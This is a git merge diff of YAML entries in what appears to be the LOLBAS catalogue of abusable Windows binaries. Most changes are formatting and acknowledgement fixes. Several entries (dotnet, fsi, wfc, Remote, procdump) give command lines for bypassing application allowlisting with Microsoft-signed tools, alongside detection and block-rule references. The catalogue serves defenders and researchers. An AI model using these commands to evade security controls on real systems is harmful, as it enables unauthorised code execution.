Merge branch 'master' into alias_introduction

yml/OtherMSBinaries/AccCheckConsole.yml

@@ -34,4 +34,3 @@ Resources:
 Acknowledgement:
   - Person: Jimmy
     Handle: '@bohops'
----

yml/OtherMSBinaries/Adplus.yml

@@ -23,4 +23,3 @@ Resources:
 Acknowledgement:
   - Person: mr.d0x
     Handle: '@mrd0x'
----

yml/OtherMSBinaries/Agentexecutor.yml

@@ -28,4 +28,3 @@ Resources:
 Acknowledgement:
   - Person: Eleftherios Panos
     Handle: '@lefterispan'
----

yml/OtherMSBinaries/Appvlp.yml

@@ -44,4 +44,3 @@ Acknowledgement:
     Handle: '@moo_hax'
   - Person: Matt Wilson
     Handle: '@enigma0x3'
----

yml/OtherMSBinaries/Bginfo.yml

@@ -60,4 +60,3 @@ Resources:
 Acknowledgement:
   - Person: Oddvar Moe
     Handle: '@oddvarmoe'
----

yml/OtherMSBinaries/Cdb.yml

@@ -42,4 +42,3 @@ Acknowledgement:
     Handle: '@mrd0x'
   - Person: Spooky Sec
     Handle: '@sec_spooky'
----

yml/OtherMSBinaries/Coregen.yml

@@ -46,4 +46,3 @@ Acknowledgement:
     Handle:
   - Person: Casey Erikson
     Handle:
----

yml/OtherMSBinaries/Csi.yml

@@ -28,4 +28,3 @@ Resources:
 Acknowledgement:
   - Person: Casey Smith
     Handle: '@subtee'
----

yml/OtherMSBinaries/DefaultPack.yml

@@ -22,4 +22,3 @@ Resources:
 Acknowledgement:
   - Person: checkymander
     Handle: '@checkymander'
----

yml/OtherMSBinaries/Devtoolslauncher.yml

@@ -30,4 +30,3 @@ Resources:
 Acknowledgement:
   - Person: felamos
     Handle: '@_felamos'
----

yml/OtherMSBinaries/Dnx.yml

@@ -25,4 +25,3 @@ Resources:
 Acknowledgement:
   - Person: Matt Nelson
     Handle: '@enigma0x3'
----

yml/OtherMSBinaries/Dotnet.yml

@@ -6,6 +6,7 @@ Created: 2019-11-12
 Commands:
   - Command: dotnet.exe [PATH_TO_DLL]
     Description: dotnet.exe will execute any dll even if applocker is enabled.
+    Usecase: Execute code bypassing AWL
     Category: AWL Bypass
     Privileges: User
     MitreID: T1218
@@ -19,6 +20,7 @@ Commands:
     OperatingSystem: Windows 7 and up with .NET installed
   - Command: dotnet.exe msbuild [Path_TO_XML_CSPROJ]
     Description: dotnet.exe with msbuild (SDK Version) will execute unsigned code
+    Usecase: Execute code bypassing AWL
     Category: AWL Bypass
     Privileges: User
     MitreID: T1218
@@ -38,4 +40,3 @@ Acknowledgement:
     Handle: '@_felamos'
   - Person: Jimmy
     Handle: '@bohops'
----

yml/OtherMSBinaries/Dump64.yml

@@ -21,4 +21,3 @@ Resources:
 Acknowledgement:
   - Person: mr.d0x
     Handle: '@mrd0x'
----

yml/OtherMSBinaries/Dxcap.yml

@@ -23,4 +23,3 @@ Resources:
 Acknowledgement:
   - Person: Matt harr0ey
     Handle: '@harr0ey'
----

yml/OtherMSBinaries/Excel.yml

@@ -38,4 +38,3 @@ Resources:
 Acknowledgement:
   - Person: 'Reegun J (OCBC Bank)'
     Handle: '@reegun21'
----

yml/OtherMSBinaries/Fsi.yml

@@ -1,39 +1,38 @@
----
-Name: Fsi.exe
-Description: 64-bit FSharp (F#) Interpreter included with Visual Studio and DotNet Core SDK.
-Author: Jimmy (@bohops)
-Created: 2021-09-26
-Commands:
-  - Command: fsi.exe c:\path\to\test.fsscript
-    Description: Execute F# code via script file
-    Usecase: Execute payload with Microsoft signed binary to bypass WDAC policies
-    Category: AWL Bypass
-    Privileges: User
-    MitreID: T1059
-    OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
-  - Command: fsi.exe
-    Description: Execute F# code via interactive command line
-    Usecase: Execute payload with Microsoft signed binary to bypass WDAC policies
-    Category: AWL Bypass
-    Privileges: User
-    MitreID: T1059
-    OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
-Full_Path:
-  - Path: C:\Program Files\dotnet\sdk\[sdk version]\FSharp\fsi.exe
-  - Path: C:\Program Files (x86)\Microsoft Visual Studio\2019\Professional\Common7\IDE\CommonExtensions\Microsoft\FSharp\fsi.exe
-Code_Sample:
-  - Code: https://gist.github.com/NickTyrer/51eb8c774a909634fa69b4d06fc79ae1
-Detection:
-  - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
-  - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
-  - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
-  - IOC: Fsi.exe execution may be suspicious on non-developer machines
-Resources:
-  - Link: https://twitter.com/NickTyrer/status/904273264385589248
-  - Link: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/
-Acknowledgement:
-  - Person: Nick Tyrer
-    Handle: '@NickTyrer'
-  - Person: Jimmy
-    Handle: '@bohops'
----
+---
+Name: Fsi.exe
+Description: 64-bit FSharp (F#) Interpreter included with Visual Studio and DotNet Core SDK.
+Author: Jimmy (@bohops)
+Created: 2021-09-26
+Commands:
+  - Command: fsi.exe c:\path\to\test.fsscript
+    Description: Execute F# code via script file
+    Usecase: Execute payload with Microsoft signed binary to bypass WDAC policies
+    Category: AWL Bypass
+    Privileges: User
+    MitreID: T1059
+    OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
+  - Command: fsi.exe
+    Description: Execute F# code via interactive command line
+    Usecase: Execute payload with Microsoft signed binary to bypass WDAC policies
+    Category: AWL Bypass
+    Privileges: User
+    MitreID: T1059
+    OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
+Full_Path:
+  - Path: C:\Program Files\dotnet\sdk\[sdk version]\FSharp\fsi.exe
+  - Path: C:\Program Files (x86)\Microsoft Visual Studio\2019\Professional\Common7\IDE\CommonExtensions\Microsoft\FSharp\fsi.exe
+Code_Sample:
+  - Code: https://gist.github.com/NickTyrer/51eb8c774a909634fa69b4d06fc79ae1
+Detection:
+  - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
+  - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
+  - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
+  - IOC: Fsi.exe execution may be suspicious on non-developer machines
+Resources:
+  - Link: https://twitter.com/NickTyrer/status/904273264385589248
+  - Link: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/
+Acknowledgement:
+  - Person: Nick Tyrer
+    Handle: '@NickTyrer'
+  - Person: Jimmy
+    Handle: '@bohops'

yml/OtherMSBinaries/FsiAnyCpu.yml

@@ -1,35 +1,34 @@
----
-Name: FsiAnyCpu.exe
-Description: 32/64-bit FSharp (F#) Interpreter included with Visual Studio.
-Author: Jimmy (@bohops)
-Created: 2021-09-26
-Commands:
-  - Command: fsianycpu.exe c:\path\to\test.fsscript
-    Description: Execute F# code via script file
-    Usecase: Execute payload with Microsoft signed binary to bypass WDAC policies
-    Category: AWL Bypass
-    Privileges: User
-    MitreID: T1059
-    OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
-  - Command: fsianycpu.exe
-    Description: Execute F# code via interactive command line
-    Usecase: Execute payload with Microsoft signed binary to bypass WDAC policies
-    Category: AWL Bypass
-    Privileges: User
-    MitreID: T1059
-    OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
-Full_Path:
-  - Path: c:\Program Files (x86)\Microsoft Visual Studio\2019\Professional\Common7\IDE\CommonExtensions\Microsoft\FSharp\fsianycpu.exe
-Code_Sample:
-  - Code: https://gist.github.com/NickTyrer/51eb8c774a909634fa69b4d06fc79ae1
-Detection:
-  - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
-  - IOC: FsiAnyCpu.exe execution may be suspicious on non-developer machines
-Resources:
-  - Link: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/
-Acknowledgement:
-  - Person: Nick Tyrer
-    Handle: '@NickTyrer'
-  - Person: Jimmy
-    Handle: '@bohops'
----
+---
+Name: FsiAnyCpu.exe
+Description: 32/64-bit FSharp (F#) Interpreter included with Visual Studio.
+Author: Jimmy (@bohops)
+Created: 2021-09-26
+Commands:
+  - Command: fsianycpu.exe c:\path\to\test.fsscript
+    Description: Execute F# code via script file
+    Usecase: Execute payload with Microsoft signed binary to bypass WDAC policies
+    Category: AWL Bypass
+    Privileges: User
+    MitreID: T1059
+    OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
+  - Command: fsianycpu.exe
+    Description: Execute F# code via interactive command line
+    Usecase: Execute payload with Microsoft signed binary to bypass WDAC policies
+    Category: AWL Bypass
+    Privileges: User
+    MitreID: T1059
+    OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
+Full_Path:
+  - Path: c:\Program Files (x86)\Microsoft Visual Studio\2019\Professional\Common7\IDE\CommonExtensions\Microsoft\FSharp\fsianycpu.exe
+Code_Sample:
+  - Code: https://gist.github.com/NickTyrer/51eb8c774a909634fa69b4d06fc79ae1
+Detection:
+  - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
+  - IOC: FsiAnyCpu.exe execution may be suspicious on non-developer machines
+Resources:
+  - Link: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/
+Acknowledgement:
+  - Person: Nick Tyrer
+    Handle: '@NickTyrer'
+  - Person: Jimmy
+    Handle: '@bohops'

yml/OtherMSBinaries/Mftrace.yml

@@ -31,4 +31,3 @@ Resources:
 Acknowledgement:
   - Person: fabrizio
     Handle: '@0rbz_'
----

yml/OtherMSBinaries/Msdeploy.yml

@@ -14,7 +14,7 @@ Commands:
   - Command: msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="c:\temp\calc.bat"
     Description: Launch calc.bat via msdeploy.exe.
     Usecase: Local execution of batch file using msdeploy.exe.
-    Category: AWL bypass
+    Category: AWL Bypass
     Privileges: User
     MitreID: T1218
     OperatingSystem: Windows server
@@ -30,4 +30,3 @@ Resources:
 Acknowledgement:
   - Person: Pierre-Alexandre Braeken
     Handle: '@pabraeken'
----

yml/OtherMSBinaries/Msxsl.yml

@@ -33,7 +33,7 @@ Commands:
     MitreID: T1218
     OperatingSystem: Windows
 Full_Path:
-  - Path:
+  - Path: no default
 Code_Sample:
   - Code:
 Detection:
@@ -47,4 +47,3 @@ Resources:
 Acknowledgement:
   - Person: Casey Smith
     Handle: '@subtee'
----

yml/OtherMSBinaries/Ntdsutil.yml

@@ -25,4 +25,3 @@ Resources:
 Acknowledgement:
   - Person: Sean Metcalf
     Handle: '@PyroTek3'
----

yml/OtherMSBinaries/Powerpnt.yml

@@ -35,4 +35,3 @@ Resources:
 Acknowledgement:
   - Person: Reegun J (OCBC Bank)
     Handle: '@reegun21'
----

yml/OtherMSBinaries/Procdump.yml

@@ -1,10 +1,10 @@
 ---
 Name: Procdump.exe
 Description: SysInternals Memory Dump Tool
+Aliases:
+  Alias: Procdump64.exe
 Author: 'Alfie Champion (@ajpc500)'
 Created: '2020-10-14'
-Aliases:
-  - Procdump64.exe
 Commands:
   - Command: procdump.exe -md calc.dll explorer.exe
     Description: Loads calc.dll where DLL is configured with a 'MiniDumpCallbackRoutine' exported function. Valid process must be provided as dump still created.
@@ -20,6 +20,8 @@ Commands:
     Privileges: User
     MitreID: T1202
     OperatingSystem: Windows 8.1 and higher, Windows Server 2012 and higher.
+Full_Path:
+  - Path: no default
 Detection:
   - Sigma: https://github.com/SigmaHQ/sigma/blob/f36b1cbd2a3f1a7423f43a67a182549778700615/rules/windows/process_creation/win_susp_procdump.yml
   - Sigma: https://github.com/SigmaHQ/sigma/blob/f36b1cbd2a3f1a7423f43a67a182549778700615/rules/windows/process_creation/win_procdump.yml
@@ -31,6 +33,5 @@ Detection:
 Resources:
   - Link: https://twitter.com/ajpc500/status/1448588362382778372?s=20
 Acknowledgement:
-  - Name: Alfie Champion
-    Handle: '@ajpc500'
----
+  - Person: Alfie Champion
+    Handle: '@ajpc500'

yml/OtherMSBinaries/Rcsi.yml

@@ -19,7 +19,7 @@ Commands:
     MitreID: T1127
     OperatingSystem: Windows
 Full_Path:
-  - Path:
+  - Path: no default
 Code_Sample:
   - Code:
 Detection:
@@ -32,4 +32,3 @@ Resources:
 Acknowledgement:
   - Person: Matt Nelson
     Handle: '@enigma0x3'
----

yml/OtherMSBinaries/Remote.yml

@@ -10,21 +10,21 @@ Commands:
     Category: AWL Bypass
     Privileges: User
     MitreID: T1127
-    OperatingSystem:
+    OperatingSystem: Windows
   - Command: Remote.exe /s "powershell.exe" anythinghere
     Description: Spawns powershell as a child process of remote.exe
     Usecase: Executes a process under a trusted Microsoft signed binary
     Category: Execute
     Privileges: User
     MitreID: T1127
-    OperatingSystem:
+    OperatingSystem: Windows
   - Command: Remote.exe /s "\\10.10.10.30\binaries\file.exe" anythinghere
     Description: Run a remote file
     Usecase: Executing a remote binary without saving file to disk
     Category: Execute
     Privileges: User
     MitreID: T1127
-    OperatingSystem:
+    OperatingSystem: Windows
 Full_Path:
   - Path: C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\remote.exe
   - Path: C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\remote.exe
@@ -37,4 +37,3 @@ Resources:
 Acknowledgement:
   - Person: mr.d0x
     Handle: '@mrd0x'
----

yml/OtherMSBinaries/Sqldumper.yml

@@ -34,4 +34,3 @@ Resources:
 Acknowledgement:
   - Person: Luis Rocha
     Handle: '@countuponsec'
----

yml/OtherMSBinaries/Sqlps.yml

@@ -33,4 +33,3 @@ Acknowledgement:
     Handle: '@bryon_'
   - Person: Manny
     Handle: '@ManuelBerrueta'
----

yml/OtherMSBinaries/Sqltoolsps.yml

@@ -24,4 +24,3 @@ Resources:
 Acknowledgement:
   - Person: Pierre-Alexandre Braeken
     Handle: '@pabraeken'
----

yml/OtherMSBinaries/Squirrel.yml

@@ -55,4 +55,3 @@ Acknowledgement:
     Handle: '@reegun21'
   - Person: Adam
     Handle: '@Hexacorn'
----

yml/OtherMSBinaries/Te.yml

@@ -12,7 +12,7 @@ Commands:
     MitreID: T1127
     OperatingSystem: Windows
 Full_Path:
-  - Path:
+  - Path: no default
 Code_Sample:
   - Code:
 Detection:
@@ -22,4 +22,3 @@ Resources:
 Acknowledgement:
   - Person: Giuseppe N3mes1s
     Handle: '@gN3mes1s'
----

yml/OtherMSBinaries/Tracker.yml

@@ -19,7 +19,7 @@ Commands:
     MitreID: T1127
     OperatingSystem: Windows
 Full_Path:
-  - Path:
+  - Path: no default
 Code_Sample:
   - Code:
 Detection:
@@ -30,4 +30,3 @@ Resources:
 Acknowledgement:
   - Person: Casey Smith
     Handle: '@subTee'
----

yml/OtherMSBinaries/Update.yml

@@ -119,4 +119,3 @@ Acknowledgement:
   - Person: Adam
     Handle: '@Hexacorn'
   - Person: Jesus Galvez
----

yml/OtherMSBinaries/VSIISExeLauncher.yml

@@ -22,4 +22,3 @@ Resources:
 Acknowledgement:
   - Person: timwhite
     Handle:
----

yml/OtherMSBinaries/VisualUiaVerifyNative.yml

@@ -1,31 +1,30 @@
----
-Name: VisualUiaVerifyNative.exe
-Description: A Windows SDK binary for manual and automated testing of Microsoft UI Automation implementation and controls.
-Author: Jimmy (@bohops)
-Created: 2021-09-26
-Commands:
-  - Command: VisualUiaVerifyNative.exe
-    Description: Generate Serialized gadget and save to - C:\Users\[current user]\AppData\Roaminguiverify.config before executing.
-    Usecase: Execute proxied payload with Microsoft signed binary to bypass WDAC policies
-    Category: AWL Bypass
-    Privileges: User
-    MitreID: T1218
-    OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
-Full_Path:
-  - Path: c:\Program Files (x86)\Windows Kits\10\bin\[SDK version]\arm64\UIAVerify\VisualUiaVerifyNative.exe
-  - Path: c:\Program Files (x86)\Windows Kits\10\bin\[SDK version]\x64\UIAVerify\VisualUiaVerifyNative.exe
-  - Path: c:\Program Files (x86)\Windows Kits\10\bin\[SDK version]\UIAVerify\VisualUiaVerifyNative.exe
-Code_Sample:
-  - Code:
-Detection:
-  - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
-  - IOC: As a Windows SDK binary, execution on a system may be suspicious
-Resources:
-  - Link: https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/
-  - Link: https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad
-Acknowledgement:
-  - Person: Lee Christensen
-    Handle: '@tifkin'
-  - Person: Jimmy
-    Handle: '@bohops'
----
+---
+Name: VisualUiaVerifyNative.exe
+Description: A Windows SDK binary for manual and automated testing of Microsoft UI Automation implementation and controls.
+Author: Jimmy (@bohops)
+Created: 2021-09-26
+Commands:
+  - Command: VisualUiaVerifyNative.exe
+    Description: Generate Serialized gadget and save to - C:\Users\[current user]\AppData\Roaminguiverify.config before executing.
+    Usecase: Execute proxied payload with Microsoft signed binary to bypass WDAC policies
+    Category: AWL Bypass
+    Privileges: User
+    MitreID: T1218
+    OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
+Full_Path:
+  - Path: c:\Program Files (x86)\Windows Kits\10\bin\[SDK version]\arm64\UIAVerify\VisualUiaVerifyNative.exe
+  - Path: c:\Program Files (x86)\Windows Kits\10\bin\[SDK version]\x64\UIAVerify\VisualUiaVerifyNative.exe
+  - Path: c:\Program Files (x86)\Windows Kits\10\bin\[SDK version]\UIAVerify\VisualUiaVerifyNative.exe
+Code_Sample:
+  - Code:
+Detection:
+  - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
+  - IOC: As a Windows SDK binary, execution on a system may be suspicious
+Resources:
+  - Link: https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/
+  - Link: https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad
+Acknowledgement:
+  - Person: Lee Christensen
+    Handle: '@tifkin'
+  - Person: Jimmy
+    Handle: '@bohops'

yml/OtherMSBinaries/Vsjitdebugger.yml

@@ -22,4 +22,3 @@ Resources:
 Acknowledgement:
   - Person: Pierre-Alexandre Braeken
     Handle: '@pabraeken'
----

yml/OtherMSBinaries/Wfc.yml

@@ -1,28 +1,27 @@
----
-Name: Wfc.exe
-Description: The Workflow Command-line Compiler tool is included with the Windows Software Development Kit (SDK).
-Author: Jimmy (@bohops)
-Created: 2021-09-26
-Commands:
-  - Command: wfc.exe c:\path\to\test.xoml
-    Description: Execute arbitrary C# code embedded in a XOML file.
-    Usecase: Execute proxied payload with Microsoft signed binary to bypass WDAC policies
-    Category: AWL Bypass
-    Privileges: User
-    MitreID: T1127
-    OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
-Full_Path:
-  - Path: C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\wfc.exe
-Code_Sample:
-  - Code: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/
-Detection:
-  - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
-  - IOC: As a Windows SDK binary, execution on a system may be suspicious
-Resources:
-  - Link: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/
-Acknowledgement:
-  - Person: Matt Graeber
-    Handle: '@mattifestation'
-  - Person: Jimmy
-    Handle: '@bohops'
----
+---
+Name: Wfc.exe
+Description: The Workflow Command-line Compiler tool is included with the Windows Software Development Kit (SDK).
+Author: Jimmy (@bohops)
+Created: 2021-09-26
+Commands:
+  - Command: wfc.exe c:\path\to\test.xoml
+    Description: Execute arbitrary C# code embedded in a XOML file.
+    Usecase: Execute proxied payload with Microsoft signed binary to bypass WDAC policies
+    Category: AWL Bypass
+    Privileges: User
+    MitreID: T1127
+    OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
+Full_Path:
+  - Path: C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\wfc.exe
+Code_Sample:
+  - Code: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/
+Detection:
+  - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
+  - IOC: As a Windows SDK binary, execution on a system may be suspicious
+Resources:
+  - Link: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/
+Acknowledgement:
+  - Person: Matt Graeber
+    Handle: '@mattifestation'
+  - Person: Jimmy
+    Handle: '@bohops'

yml/OtherMSBinaries/Winword.yml

@@ -38,4 +38,3 @@ Resources:
 Acknowledgement:
   - Person: 'Reegun J (OCBC Bank)'
     Handle: '@reegun21'
----

yml/OtherMSBinaries/Wsl.yml

@@ -49,4 +49,3 @@ Acknowledgement:
     Handle: '@NotoriousRebel1'
   - Person: Asif Matadar
     Handle: '@d1r4c'
----